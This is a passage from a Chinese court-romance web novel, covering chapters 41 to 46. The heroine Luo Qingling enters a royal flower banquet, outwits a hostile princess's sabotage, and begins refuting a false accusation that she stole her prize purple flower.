宋绾绾冷笑一声：“好，本郡主就再信你一回。” ＊ 青云给洛清泠换下厚重的宫装，又叫人从小厨房送来了一碟子糕点。 “小姐不是进宫吃午膳么，怎么这么饿？” 洛清泠叹气：“若是有人跟蚊虫似的不停在你耳边说你不爱听的话，你还能吃得下去？” 青云认真想了想：“看那饭菜的好吃程度吧。” 洛清泠：…… “你啊。”她点了点青云的额头。 “对了小姐，你和世子在马车里说了什么呀？”青云想起来，立刻问道：“世子下车的时候，看起来像是魂儿都飞了一样。” 青云捂着嘴笑了一下：“我刚刚去小厨房，还听到他们说，世子回书房，在门口绊了好大一跤呢！” “也没说什么呢。”洛清泠不解：“可能是世子忙于奔波，累着了吧。我记得我院子里还有一根补气的老参，你一会儿给世子送去。” “好。” 青云点点头应了，但还是不信，一直追问。 洛清泠便将回程的事情说了一下，尤其是说到后面，还感慨了一句：“大概是父母保佑吧，我能遇见这么好的人，真将我当女儿一般对待。” 青云：…… 她看着洛清泠的面容，眉毛拧成了一团。 小姐，您真的确定，世子是在将您当亲姐姐么？ 但想到上次自己提过一次之后，洛清泠那离谱但是又非常坚定的猜测，青云到底还是什么都没说。 好在过后几日，皇后没有在找什么理由叫洛清泠进宫了。 太子那边也没有什么动静。 宋绾绾也没有动静，赵承宇也没有动静。 自洛家覆灭以来，这还是洛清泠第一次过得这么平静。 然而，越是平静，背后可能孕育的风浪就越大。 洛清泠半点警惕也不敢放下。 就这么过了几日，皇后下令，要在国内召开一场百花宴。 这百花宴，不只是本国的各位王公贵族可以参加，反而写了邀请函，邀请各国前来参加。 大家可以自由组队联合，而拔得头筹者，可以得到前朝凤冠。 第四十一章 点名参加 百花宴一出，举国上下全都热闹了起来。 尤其是这一次的百花宴还邀请了别国，让他们带着自己国家的国花前来评比，钓足了众人的胃口。 再加上这次的头筹奖励是前朝凤冠，更是让人期待到底谁能拔得头筹。 当然，风声刚放出来时，也有不少人暗嘲。 若是这头筹被别国夺去，前朝凤冠流落他国，对整个国家来说，都是一个巨大的耻辱。 所以众权贵摩拳擦掌，务必要将胜者保留在本国。 平西王府最近的热门话题也是这个，青云几次去传膳都听到府中下人议论。 “小姐，您要参加这次的百花宴么？” “不参加。”洛清泠刚练完一套洛家枪法，呼吸微微急促，俏脸绯红。 她拿细绢擦了擦脸上的汗，看向青云：“说起这个做什么？” “我看大家都在议论，以为小姐也会有兴趣呢。” 青云撅了噘嘴。 她觉得自家小姐就是最好的，若是能参加这个百花宴，肯定也是第一。 洛清泠摇头，叹气：“我可不想再成为众矢之的了。” 刚说话，院门外传来通报，却是青松公公亲自出宫了。 青松公公是跟着皇后的老人，皇后的事多半由他经手。 洛清泠看见人，心中便涌起不好的预感。 “奴婢见过楚少夫人。”青松公公笑眯眯走来，手中拿着卷懿旨：“今日见少夫人，可见病已是全好了，娘娘还惦记着少夫人，若是病没养好，可怎么参加这百花宴呢！” 洛清泠眯起眼睛。 “还好少夫人已经好啦！这下可是可以安心参加百花宴了！娘娘还等着少夫人在百花宴上拔得头筹呢！” 洛清泠领着青云接了懿旨，送走了青松公公，回了房间里坐在凳子上。 “小姐，若是您真的不愿意参加这百花宴，就不参加了吧，咱们去回了皇后娘娘。” 青云看洛清泠瞪了那懿旨半晌没出声，忍不住开口道。 “不好推啊。” 洛清泠头疼得很，不知道皇后为何非要点名她参加。 “清泠不方便出面，那就由我出面吧。” 门外传来一道熟悉的声音，洛清泠眉头挑了挑，看去。 楚砚寒大步走来，视线扫过那张懿旨，复又看着洛清泠，认真道：“清泠看着似乎很为难。” 洛清泠一时没做声。 也不知道从什么时候开始，这楚砚寒忽然就不叫她嫂子了，转而叫起了清泠二字。 刚开始洛清泠还唬了一跳，然而对上楚砚寒那双专注的眼，到底没有将否认的话说出口。 谁知道这两日楚砚寒反倒是越发得寸进尺起来，之前念她名字要犹豫半晌，如今倒是越来越上口起来。 “不必了，”洛清泠回神，连忙将懿旨抢过来交给青云放好：“娘娘既然点了我名，那我就参加好了。” “可……” “也不是什么大事，又不是叫我非要做出个名次来，不打紧的。” 洛清泠不想给楚砚寒再添麻烦了，上次楚砚寒为了自己和宋墨云对上的事，她还担心了两日呢。 “既然清泠决定参加，那我也不阻拦。” 百花宴还有几日时间准备，青云见洛清泠答应参加百花宴，却一直没什么动静，由不得问了一句：“小姐打算选择什么花参加比赛呢？” “随便选选吧。” 中不溜丢就行。 她叫青云拿来花册，一一翻开，又有下人来报说：“郡主来了，请少夫人去前厅一见。” “宋绾绾？她又来做什么？”青云皱起鼻子。 “大概是为了这百花宴吧。” 洛清泠随口应了一声，放下册子来了前厅。 宋绾绾正坐在一旁喝茶，见到她来了，只是暗中瞪了她一眼，面上却丝毫看不出什么龃龉来。 “臣妇见过郡主。” 宋绾绾冷笑一声：“看样子这病是真真大好了，认得人了。” “托郡主洪福。” 洛清泠在一旁坐了，整了整裙摆：“不知郡主前来，所为何事？” “唔，”宋绾绾刺了洛清泠一句，也转开了话题。 她搁下茶杯，漫不经心转动着手腕上的玉镯：“我听说你也要参加百花宴。” “是。” “那想来你也知道，这次的百花宴暗中的规矩了，娘娘举办百花宴，若是这头筹被别国夺去了，你我脸上都无光。” 洛清泠捧着茶杯，并不应答。 “洛清泠，这一次，我们合作怎么样？以我的权势，想要找到奇花异草，想来也不是什么难事。” 宋绾绾说明来意：“到时候我将你名字一并写上，让你也在这为国争光的事情上，出一份力。” 洛清泠冷淡道：“不必了。” “洛清泠，你别不识好歹，这样好的事儿，你还要往外推？”宋绾绾看傻子似的看着她：“这样的大事，你是在担心我做手脚？” “不瞒郡主，是的。” “你！” 洛清泠：“你我二人早已撕破了脸皮子，维持着个明面里的友好就已经难得，难道郡主有什么好事真会想着我不成？” 宋绾绾难以置信地看着洛清泠。 竟然就这么直白地说出来了？ 她咬咬牙：“本郡主宽宏大量不行？” 洛清泠：“哦，可我小肚鸡肠。” “洛清泠你不要太过分！” “门在那边，郡主自重。” “你！” 宋绾绾压根就没想到洛清泠会这么油盐不进，差点被气死。 “我告诉你宋绾绾，若不是皇祖母说要带着你，你以为我稀罕！” “既然不稀罕，就别带了。”洛清泠看着她：“若是太后怪罪，郡主只管往我身上推就是了——就跟之前做过的一样。” 宋绾绾最后是被气走的。 洛清泠坐在厅上，慢悠悠把茶品完，让青云将厅上收拾一下。 “小姐，真不和宋绾绾合作么？”青云也不解。 就和宋绾绾说的一样，难道她真的会在这样的事情上做手脚吗？ 到时候真出了什么她兜不了的底，岂不是得不偿失？ “青云，你记住一句话，”洛清泠站起来，伸了个懒腰：“黄鼠狼给鸡拜年，不安好心。” “那宋绾绾，你就当她是黄鼠狼就行。” “哦哦，”青云似懂非懂地点点头，又问：“那小姐看了许久的花册子，可有选定什么目标了吗？” 第四十二章 世子的百变情绪 “大概有了。” 洛清泠捏了个响指：“回去给我准备身衣服，我们晚上去京城的黑市逛逛。” 青云眼睛一亮：“是！” 京城黑市也是个神奇的地方，传说在这里，没有买不到，只有钱不够。 洛清泠不大来这样的地方，只知道一般在黑市交易的人，都不怎么露面，所以特意交代青云准备两张面具。 到了晚上，两人换了身黑衣，正准备从王府小门出去，暗处却忽然有什么东西动了动。 青云吓了一跳：“什么东西！” 那黑影走出来，却是一身华贵玄色长衫的楚砚寒。 “大半夜的，世子怎么这身打扮？” 楚砚寒掩嘴清咳一声。 他是白日里听见宋绾绾来找洛清泠，怕洛清泠吃亏，匆匆赶到前厅，结果正好听见洛清泠说晚上要去黑市的事。 楚砚寒道：“听说清泠打算去黑市买花，黑市不比外头太平，你们两人都是姑娘，直接去想来会吃亏，我想与你们同路。” “那也太麻烦世子了。”洛清泠摆手想要拒绝。 奈何楚砚寒态度强硬，只说夜里也睡不着，正好走走，洛清泠便也不阻拦了。 三人打算出门，楚砚寒只觉得有些不对。 三个人……三个人……总觉得有些多余。 他视线放在青云身上，忽然出声：“黑市人多眼杂，出行人数不宜过多。” 洛清泠想了想，自己是去买花，现在又有楚砚寒陪着，倒是不比再拉着青云，便对青云一点头：“既然如此，青云，你且在府中等着。” “是，小姐。” 青云垂眸答应，偷偷吐了吐舌头。 别以为她没看出来，世子今晚还特意打扮了一番呢！ 那身长衫虽是玄色，却格外华贵，隐藏着银丝金线的图案，行动起来神秘又尊贵。 还有那比平日更加一丝不苟的冠子……若是她没记错，这应当是世子过去从没用过的冠。 哎，可惜这样的打扮偏偏给了自己那不开窍的小姐看，也不知道小姐能不能发现呢。 她暗暗偷笑，目送两人出了门。 这边，洛清泠和楚砚寒一来到黑市门前，楚砚寒便拿出两张面具，递了一张银白的给洛清泠：“戴上吧。” 洛清泠接过戴上，正好看见楚砚寒带上了一面黑色的，一边说道：“黑市不宜直呼性命，我冒犯叫一声泠儿，泠儿也只喊我寒廊吧。” 借着昏暗的光线，无人看见，楚砚寒的耳垂已经烧红一片。 “如此也好，就是委屈世子了。” “不！”楚砚寒顿了顿，掩盖自己的激动：“我说过的，只要泠儿有需要，这样的事情，我是一百个愿意。” 洛清泠心跳漏了一拍，垂着头低声道：“嗯……” 两人进了黑市，走过一段长长的没有人烟的漆黑街道，才真正抵达黑市的入口，早已是人声鼎沸。 “泠儿离我近些罢。” 楚砚寒的手伸了几遍，最后还是收了回来，只是靠近了洛清泠，低声说到。 两人凑在一处，一人覆着白面，一人覆着黑面，倒是格外相衬。 黑市里什么都卖，但最近百花宴的事甚嚣尘上，入眼看去，粗粗的竟然全都是卖花的。 各种奇花异草，摆满了一个街道。 洛清泠信步在这些摊位之中行走，不少蒙着脸的商贩正在推销自己的花。 琳琅满目，异香扑鼻，竟然异常和谐。 洛清泠走了两步，忽然被拽住了衣角，回头看时，却见面前一朵鹅黄雪莲，装在冰盆里，正开得娇艳。 “世……寒郎？” 楚砚寒道：“泠儿可喜欢？我第一次见泠儿，就觉得……”你如同此花一般。 后面的花正好被鼎沸的人声掩盖，却是街头另一边传来的喧嚣，似乎是有人拿出了奇花，引起众人围观。 洛清泠道：“多谢寒郎，此花甚为好看，若是寒郎以此花参赛，应当也能得一个不错的名次——我们也去那边看看吧。” 楚砚寒满心未言明的思绪骤然中断，只能捧着这多雪莲，讷讷地跟上洛清泠。 洛清泠惦记着自己的目的，一路走来，只注意看那些花花草草，却没有注意到身边人，不知道什么时候，情绪低落了下来。 等她买下一树含苞待放的紫罗花，从旁边身来一只手，默默将这花抱在了怀里，她才发现，楚砚寒似乎许久没有说话了。 “喂！东西拿走了，倒是给钱啊！” 小贩催了一声。 洛清泠连忙掏出银票递过去。 买完花，已经月上中天，快要子时闭市了，两人也就不再逗留，一径出了黑市。 洛清泠再次看了楚砚寒一眼。 不是错觉，楚砚寒似乎真的有些……不开心？ “寒郎？” 话一出口，她才想起两人已经出了黑市，便改口道：“世子，可是发生了什么事？” 楚砚寒闷闷摇头：“你好好参加比赛就是，等你拔得头筹……我也给你准备了些贺礼。” 洛清泠眼眸一闪，轻轻点了点头：“听天由命吧。” ＊ “郡主，听说洛清泠已经寻得了参赛的花。” 筠儿低声给宋绾绾汇报。 “可有打听到是什么花？” “这……” “没用的东西。”宋绾绾扯了扯嘴角，道：“罢了，她拒绝和我合作，肯定也是有几分底气，哼，等我将这些底气打碎就是——筠儿。” 宋绾绾从桌上抽出一张信笺：“知道该怎么做。” “是。” 等筠儿离开，宋绾绾眼底闪过一丝暗芒。 等我将你的花儿毁了，到时候没有了参赛的花，我看你还和不和我合作！ 洛清泠对宋绾绾的打算一无所知，楚砚寒将那紫罗花给她搬到院子里后，她就找了许多参考书目，开始好好照料这树花，确保它能在百花宴当日盛放，露出最漂亮的一面。 “小姐，这花儿看起来平平无奇的，还没有世子的那朵雪莲花漂亮，那是世子替你选的么？怎么不用那个？” 提起那雪莲花，洛清泠就想到昨日楚砚寒那不对的情绪。 分明给她看雪莲花时，还那么兴高采烈的，结果一转头就失落了。 ……真是好古怪的情绪！ 青云见洛清泠沉入自己的思绪没有回答，忽然想起什么，道：“对了小姐，奴婢打听到，这一次的百花宴，越国也回来参加。” “百花宴不拘国别，越国来参加也是正常。”洛清泠将紫罗花的各种注意事项意义摘录，随口道：“而且，赵承宇又要搞小动作了，是吧？” 第四十三章 世子的小担心 “清冷真是料事如神。” 一道声音从门外传来。 洛清泠无奈抬头，看见楚砚寒正从门外走来，情绪如常，倒是半点看不见昨日的那种古怪。 ……男人，真是难懂的生物。 她暗中摇头，问道：“世子这是得到什么消息了？” “赵承宇已经和越国使者联系上了，打算在这次百花宴上一举夺魁。” “他们争这魁首之位做什么？”洛清泠疑惑。 楚砚寒却不说了，只看着这一盆紫萝花：“紫萝花是外域之花，我们这边鲜少有栽种，据说是对京城的气候不适应，如今还有三日才是百花宴，清冷可照顾得过来。” “权当一试罢了。” 楚砚寒拿出一本册子交给洛清泠：“这是我搜罗的紫萝花养护法子，都是有考据的，清泠可以参考参考。” 册子是手写的，翻开全是新鲜的笔墨味道。 洛清泠一愣，下意识看了楚砚寒一眼。 这人昨日闷闷不乐地回来，却给她抄写了半夜的养护之法…… “多谢世子。这礼我就收下了，只是没有什么可以还礼的。” “不用还礼，”楚砚寒认真地看着洛清泠：“只要这一次百花宴，清冷夺得魁首，不要给赵承宇那厮机会就好。” 说完自知失言，便打算离开。 洛清泠喊道：“世子这话的意思，难道赵承宇打算夺得魁首后，再次求取我不成？” 楚砚寒闷闷点头：“是，越国贼心不死，清冷务必当心。” “他们怎么这么厚的脸皮！”青云皱了皱鼻子，“小姐，那赵承宇也太不要脸了，都这样了，还想要将你娶过去呢！” “何必为了一个不相干的人生气，”洛清泠笑笑，安慰了青云一声，又看着楚砚寒：“世子，赵承宇于我而言，只是一只烦人的苍蝇，若是为了这样的苍蝇生气，岂不是反亏了自己？” “世子不必这么关注赵承宇，免得心烦，扰了自己的兴致。” 楚砚寒感慨于洛清泠的心态，点头笑道：“好，我听清泠的就是了。” “对了。” 楚砚寒忽然道：“今日不到卯时，府中来了两批刺客，冲着东苑而来，清泠这两日务必小心，若是有任何风吹草动，一定叫人通知我。” 这个时候来刺客？ 洛清泠眉头微微一皱：“是冲着我选中的花而来？” “是，可惜那些人都是死士，倒是没有审问出具体是谁派来的。”楚砚寒面露寒色。 “这人，我倒是有些想法。”洛清泠想了想，道。 这派人的人，洛清泠倒是有些想法。 除了宋绾绾一天到晚盯着自己，还有谁这么没事找事儿呢？ 楚砚寒也明白洛清泠的意思：“那可需我上门敲打？” “敲打就不必了，”洛清泠心中有了盘算，狡黠一笑：“她常常骚扰，看样子是之前的教训还不够。” 洛清泠写了封拜帖，送去宁王府。 宋绾绾正愁自己　派出的死士每个消息，接到洛清泠的拜帖，眼眸一眯：“她这是在打什么主意？把她请进来。” 洛清泠满面愁容地走进宋绾绾房中：“臣妇见过郡主。” “洛清泠，你不在家中准备百花宴，怎么有空跑我这儿来了？”宋绾绾冷笑一声。 两人才撕破了脸，她也就懒得在洛清泠面前装模作样了。 “之前郡主的合作提议，我想了又想，觉得郡主说的甚是有理，特来问问郡主，这合作之约，是否还奏效？” 宋绾绾没有说话。 她上下打量着洛清泠，狐疑地勾了勾唇：“哦？洛清泠，没记错的话，你当时可是毫不留情地拒绝了我。” 洛清泠犹豫半晌，叹了口气：“不瞒郡主说，我也是没法子了，今日不知道哪里来的一批刺客冲进了府中，虽然被及时制服斩杀，但他们也……” “如今百花宴时间接近，大家准备各种奇花异草，如火如荼，我这个时候再想出手寻到好花参赛，这时间却是有些捉襟见肘。” “想到郡主那日的提议，所以特来问问。” 宋绾绾几乎没想到天上会掉这样的馅饼。 听她的意思是，洛清泠准备的花儿毁了？ 可惜就是又损失了一批死士…… 不过能毁掉洛清泠的花儿，也算他们死得其所了。 宋绾绾喝了一口茶，掩盖掉脸上的喜意。 “本郡主也不是什么心胸狭隘之人，既然你都上门来求了，那我就大人不记小人过，原谅你这则。” 洛清泠离开后，筠儿上前道：“郡主，我们没有亲眼看见洛清泠的花儿毁了，不怕其中有诈么？” “洛清泠是何等孤傲之人，都亲自上门来求了，想来是真的没有退路了。”宋绾绾摆摆手：“无妨，只要上了我这条船，就别想轻易下去！” 她眼中精光闪烁，似乎已经看见了三日后，洛清泠怎么在自己的算计下，在百花宴，众朝使臣面前丢脸的模样了。 另一边，洛清泠乘着小轿慢悠悠回了王府。 迎面遇见墨白。 墨白退避行礼，洛清泠刚要过时，忽然瞥见他衣摆上一道粉绿色痕迹，微微粗了蹙眉。 墨白是楚砚寒的人，按理来说，自己不应该过问。 洛清泠慢慢越过他，心中到底放不下，转头道：“墨白。” “少夫人有何吩咐？” “你今日……去哪里了？” 墨白沉默了一下，正想着怎么回，要不要回，对上洛清泠的视线，发现她正看着自己的衣角。 墨白低头，一小团污渍映入眼帘。 墨白：…… 他深呼吸一口气。 “回少夫人，属下听世子吩咐，去了一趟赵承宇的府邸。” 洛清泠眉心一跳：“你去那边做什么？” “毁花。” “毁花？”洛清泠一愣。 “是，”墨白心中给世子说了声抱歉，一五一十交代了：“世子说，赵承宇贼心不死，还想着在此次百花宴上拔得头筹，以前朝凤冠求娶少夫人，让皇后赐婚。” “虽然世子相信少夫人能夺冠，但还是想要增加一点保险，命属下去将赵承宇准备的花儿毁了，让他参不了赛。” 第四十四章 百花宴开宴 “世子吩咐属下暗中进行，却被少夫人抓了个正着，还请少夫人替属下隐瞒一二。” 墨白直愣愣地提出自己的要求。 洛清泠沉默了一会儿，转过头掩嘴笑了一下。 再转回来，眼眸弯弯，里头全是笑意。 “如此说来，今日把你留下问话，倒是我的不是了。” 墨白惶恐道：“是属下失言！” “好了好了，不逗你了。”洛清泠摆摆手：“不过赵承宇到底是别国质子，若是你们潜伏进去一不小心被发现了，到底理亏，既然花儿毁了，就当这件事没发生过吧。” “是。” “对了，”洛清泠想到什么：“你手里可有没有得力的，在隐匿方面是一把好手的人？我想借两个。” “倒是有的，我立刻去安排，让他们来东苑听令。” “多谢。” “少夫人客气了。” 洛清泠离开后，墨白回了书房去找楚砚寒复命。 “赵承宇虽然不行，但越国的使者倒是个能人，属下去那边时，满院子都是花，不知道是从哪儿弄来的。” 楚砚寒正在练字。 闻言眼皮都没动一下：“都毁了？” “都毁了——不过。”墨白摸了摸鼻子：“属下被少夫人发现了，少夫人问属下去做什么了。” 楚砚寒手中一抖，一副好好的字就毁了。 他眼睛瞪大：“她问了什么？” “少夫人说这件事情被发现了不好，让属下别再坐了。” 楚砚寒哼笑一声，重新拿起笔来：“这个时候倒是关心起我来了……” “不过属下觉得，还是得去，也许他们还有渠道能弄来花儿，属下不日日看着，不怎么放心。” 若是他一个差池，让赵承宇真的有了那么一点点的机会夺魁，趁机提亲，那世子怎么办？ “你看着办就是。” 楚砚寒心情大好，那日在黑市受的委屈早已忘到九霄云外去了。 “少夫人还找属下借人。” “挑两个好的送去，务必吩咐好听清冷的话，不论清冷让他们做什么，都不必来回我。” “是。” 墨白离开后，楚砚寒又写了两个字，心绪到底不怎么安宁。 桌上还放着那朵从黑市买来的雪莲，日日用冰镇着，还是盛开的模样，漂亮又金贵。 楚砚寒戳了戳雪莲的花瓣尖儿，低声叹了口气。 洛清泠从墨白那儿借了人后，听他们前来请安的语气，便知道应该是楚砚寒吩咐了什么，心中熨帖，便让两人去宁王府监听着宋绾绾的举动。 三日后。 百花宴照常举办。 头天夜里，洛清泠让青云特意走了一趟，去宁王府找宋绾绾。 宋绾绾笑道：“楚少夫人这是有多不放心我，明天就是百花宴了，现在还派你来一趟。” 青云也笑。 她行了礼，规规矩矩道：“我家小姐说，思来想去，觉得沾了郡主的东风到底不怎么好，皇后娘娘点名要她参赛，想看到的可不是她懈怠惫懒的模样的，所以特地派奴婢来和郡主说，这合作，还是不合作了吧。” “咔嚓”。 宋绾绾手中茶盏没拿稳，在地上摔了个粉碎。 “你说什么？”宋绾绾脸色扭曲地指着青云。 青云道：“时候不早了，我家小姐还等着奴婢回去侍奉汤药，就不多留了。” 青云离开后，宋绾绾才明白自己肯定是被洛清泠耍了！ “郡主……” “这个贱人！她的花肯定没事！” 宋绾绾一想就明白了，肯定是洛清泠猜到了那些死士是她拍去的，为了不被她干扰，所以干脆就说花已经毁了，还来找她合作！ 这样，她就不会再盯着洛清泠了！ “筠儿！”宋绾绾瞠目欲裂地瞪着筠儿，手指微微颤抖：“我之前找的那盆花，可还养着？” 筠儿脸色也有些发白：“郡主说，郡主说和合洛清泠合作，就不用准备花了，之前那盆花，已经……” 不用说完，宋绾绾已经明白了。 她闭了闭眼睛，露出一个阴冷的笑：“洛清泠，你害苦了我，真以为今晚就可以高枕无忧了吗？你做梦！” 宋绾绾又让筠儿去安排死士，可左等右等，都没等到筠儿回来，便叫其他丫鬟去寻，最后在一处假山的缝隙里才找到筠儿，被人打晕了，夹在假山之中。 宋绾绾头脑一阵晕眩，几乎从牙缝里挤出几道骂声。 “洛清泠！” 洛清泠正在安心睡觉。 翌日，百花宴。 皇后特地选择了在皇家园林举办。 各家的马车大清早就出发，带着自家挑选的鲜花，一簇簇往皇家园林去。 一时之间，整个皇家园林花团锦簇，异香扑鼻。 洛清泠从马车上下来，看见宋绾绾正等在门口，看见她来了，冷笑一声迎上来：“洛清泠，这次算我认栽，但你别想着这件事就这么完了！” 洛清泠身后，楚砚寒也下了马车，宋绾绾脸上扭曲的表情一时顿住，最后匆匆丢下一句狠话，进了园子。 “我们走着瞧！” “小姐，郡主好像很生气呢！”青云捂嘴一笑。 “行了，进去吧。” 众人的花全都放在小车上，一齐运往梅园，只等最后评比时才会给众人看真容。 为了不出差错，楚砚寒将墨白派来押送洛清泠的花。 进入园中时，园中已来了不少人，除了本国的大臣贵族，还有别国使臣，三三两两凑在一起说话，场面热闹非凡。 洛清泠只淡淡看着这宴会的喧嚣，楚砚寒也懒得去交际应酬，只走在洛清泠身边，保持着不近不远的距离。 没走多久，忽然看见有小厮在林外晃悠，楚砚寒低声道：“清冷，我先离开一会儿，你小心。” “嗯。” 楚砚寒走过去，随那小厮走到隐秘处，那小厮道：“世子，墨白让我来传消息，他在安置参赛花朵处，看见了赵承宇的人。” “他还有其他花？” 楚砚寒眯了眯眼睛。 “能动手吗？” “不太好动手，除了各家派了护院看守，还有禁军盯着。” “好，我知道了。” 楚砚寒脸色微寒。 赵承宇……当真是不好收拾啊。 第四十五章 紫萝花真正的主人 宫人敲过巳时的钟，皇后带着众位嫔妃姗姗来迟。 所有人全都移步梅园。 洛清泠藏在人群之后慢吞吞跟了进去，在梅园入口遇见了赵承宇。 赵承宇笑得肆意，打量洛清泠的眼神全是恶意。 洛清泠只当看不见，从他身边走过。 “洛清泠，”两人擦肩而过的瞬间，赵承宇开了口：“你是我的。” “你！” 洛清泠拦了拦青云：“不必逞一时口舌之快。” “你不信？” 赵承宇笑笑：“就算你能毁我的花一次两次三次，我越国地大物博，还是能调出奇花异草来参赛，而且，绝对比你的花，好上千百倍！” “世子好能耐。”洛清泠淡淡回了一礼，走进园子去了。 留下气得半死的赵承宇。 因为这一耽搁，洛清泠进梅园时，评比已经开始了。 此时正在展示一丛山地蔷薇，粉白的花瓣儿层层叠叠，包裹着金色的花蕊，蔷薇柔软的枝条被攀着成各种模样，粉色点缀着青，格外养眼。 加之蔷薇独有的清香，让人眼前一亮。 不少人都点头称赞。 “这算什么。”赵承宇落后一步进来，见到那从蔷薇，嗤笑一声：“不过一些庸俗之花罢了。” “既然我这花是庸俗之花，不知这位公子又有什么奇花可供大家观赏。” 赵承宇拍了拍手，便有两人护着一推车走到中间。 帘子一扯，竟然是接近二尺的一个花球！ 比蔷薇更加高雅的姿态，含苞待放，欲说含羞。 更稀奇的是，这捧花球，竟然是蓝白两色！ “这是我越国的特产，蓝白玫瑰，比之你那粉色蔷薇，如何？” 先前那人张了张嘴，最后只得一拱手，下了场去。 赵承宇对自己带来的花信心十足，确信不会有人能超过自己，正得意地看向洛清泠时，忽然听见有人咦了一声。 “这花——” “哎呀！” 赵承宇连忙转头，只见刚刚还精神抖擞的蓝白玫瑰，竟然慢吞吞地开始凋谢起来，蓝白色的花瓣落了满地，不一会儿，就只剩下了一捧光秃秃的枝干。 “谁干的！” 赵承宇脸色一黑，警惕地看着所有人。 “赵世子慎言，我们可没碰过你的花。” “就是，自己带来些什么玩意儿，这么不耐活，也好意思称为奇花……” 赵承宇脸色一阵变化，咬着牙，愤愤地退了下去。 宫人将满地的花瓣扫走，皇后看了过来：“清泠，你带来的花，也该展示展示了。” 洛清泠起身行礼，墨白得了令，推着车走来。 “什么味道？” “好香……” 墨白将遮盖的帘幕扯开，只见一树紫萝花争奇斗艳，开得正好。 梦幻的紫色，像是一层薄纱，几乎流入每个人的心间。 “此花倒是养护得好……” “竟然是紫萝花，此花最难养护，开花也吝啬，从来只开一小捧，还没见过这样压倒枝丫的模样！” 不少人围拢过来观看，又时不时像洛清泠请教如何养护紫罗花的事。 洛清泠也不私藏，一一答了。 “此花若是养护得当，一旦盛花，能开三月之久，其香有安神定气之效，一些诗书之家，也会在书房之中栽种一盆。” 洛清泠解释着，引来不少人的点头。 大概是洛清泠的紫罗花太过惊艳，那一捧浓烈的紫色强势地映在每个人的眼睛里，倒是让后面的许多花都失色不少。 等所有人都展示完了花，一别国使臣站了起来，道：“皇后娘娘，微臣提议将魁首，颁发给紫罗花的拥有者。” “微臣此生和各种花草打交道，此间席上的各种奇花，臣不说全都听过，也有十之八九是见过的，可臣还从未见到这样盛花期的紫罗花。” “是啊，而且那花香的功效，倒的确不错，我等还想像贵国求取一支紫罗花的枝丫。” “……” 不少称赞下来，这魁首落在谁身上不言而喻。 皇后笑着看向洛清泠：“清冷，你看——” “娘娘！” 宋绾绾站起来，打断道：“紫罗花固然珍贵，在众花之中脱颖而出拔得头筹无可厚非，但，要奖励的，不应该是这花真正的主人吗？” “郡主，你这话是何意？”皇后神色微敛，已有几分不悦。 “侄女是说，洛清泠这花，是偷来的！根本不是她自己养护的！” 话语一落，全场哗然。 众人的视线瞬间落在了洛清泠身上。 洛清泠神色淡淡：“哦？郡主说这花是我偷的，偷的谁的？可有证据？” “怎么没有！”宋绾绾一拍手，立刻有两个护院抓着个布衣小子出现在众人面前：“这人昨日找到本郡主，向本郡主诉苦，本郡主已经提醒过你，不是自己的东西，不能要，楚少夫人，你是半点没将本郡主的话放在心上啊，今日还真带着这偷来的东西来参赛来了？” 皇后皱着眉看向地上跪倒的人：“你是何人，紫罗花可是你的？” “回、回贵人！小人姓李，家中行五，常人只叫小人李五！” 李五颤颤巍巍地回头看了一眼紫罗花，不住地磕头：“贵人！小人不敢撒谎！那紫罗花的确是小人的！” “小人家中祖母喜爱这些花草玩意儿，这紫罗花也是小人祖母过世后留下的！祖母弥留仍念着为看见紫罗花盛放，带着遗憾入了土！小人养了那紫罗花八年，才得这一树老桩，开了这一树花！” “小人本想着等花开了，便移栽到小人祖母的粉头，让祖母好好看看，了却遗愿！” “不成想，前两日小人家中忽然来了贼人，将这紫罗花挖走了！” “贵人！小人不敢撒谎！若是其他花草，贵人门想要，小人绝无二话，但这紫罗花不行啊！这是小人祖母的遗愿！” 说着，那人已经哭将起来，说话断断续续的，加上磕头磕得脑门红肿，一片拳拳孝心，倒是惹得不少人可怜起来。 悉悉索索和周围人说着话。 “若真如这人所说，抢走这紫罗花的人……也太不不是人了。” “既然夺魁的是紫萝花，此人又是紫罗花真正的主人，那这魁首，合该这人来当才是。” 第四十六章 反击 不住地有视线撇过来，洛清泠却仍然淡淡地站在原地，好像这一出闹剧和自己根本没有任何关系。 宋绾绾刻薄地看着她，眼里涌起快意。 “楚少夫人，到如今，你还有什么话要说？” “荒唐！” 皇后一拍桌案，脸色沉下来：“仅凭一个市井小民的一面之词，就要断定楚少夫人的罪名不成！” “侄女知道皇后娘娘念在楚少夫人无父母依靠，又在跟前长大，时常心疼，可这李五种花也是为了一片孝心，孝心不可被如此辜负。” 宋绾绾拿孝道去压皇后，堵得皇后说不出话来。 稍一开口，不就是偏颇洛清泠，不公道么？ 楚砚寒面色一寒，却被洛清泠轻轻摇头挡住了。 她喝了口茶，看向宋绾绾：“郡主，你确定这花是这李五所有？” “怎么，洛清泠，事到如今，你还不悔改，打算一意孤行么？” 宋绾绾哼笑一声，对李五道：“你别怕，本郡主既然接下了你的这桩冤案，自然会给你做主，你有什么担心，只管说。” 李五颤颤巍巍地指着紫罗花：“这是小人种了八年的老桩，树干上全是小人日日用手摩挲出来的痕迹。” 皇后扬了扬下巴，立刻就有宫人上前查看，然后回道：“的确是很多痕迹，但看不出是否是摩擦出来的。” 洛清泠笑了，将茶杯放下。 “好，你既然说这花是你养开的，那我且问你，你每日几十浇花，浇水多少，几十施肥，施肥多少？” 李五叩头答：“每日卯时，未时，酉时，各浇水一次，土地浇头为止，每年春秋两季施肥，用的是鸡鸭鱼的内脏所沤。” 有人点头道：“紫罗花的确是如此养护，这人说得这般熟练，倒像是日常做惯了的。” “你既知道这花需要浇水施肥，又如何不知，此花不耐人？”洛清泠偏了偏头：“紫罗花养活容易，开花却难，要想盛放更是需要精力，此花不耐人温，方圆人口多了就容易生病，你若日日摩挲这花枝，它只早死了。” 众人震惊地看着洛清泠。 洛清泠指了指紫罗花：“若是不信，只管伸手上去，它立刻就能死给你看。” 如此好花，倒是没人敢轻举妄动。 宋绾绾冷笑：“既然如此，那本郡主就来试试，出了任何事，本郡主自行承担！” 说着就气冲冲走近了紫罗花。 然而手刚触碰到花干，紫罗花却忽然簌簌下期一片紫色的花瓣雨来！ 众人倒吸一口凉气，宋绾绾连退两步，震惊地看着紫罗花。 “紫罗花喜干不喜湿，你每日浇水三次，不出一月，它的深根就会腐烂，往两边展去。诸位家中若有紫罗花的，只管回去翻看，这株紫罗花是深根，根系不成网络，每日浇水一次罢了。” 洛清泠道：“至于它身上的痕迹，不是人摩挲出来的，是自然老化，十年老桩便会开裂，接着长出新的枝丫来。” 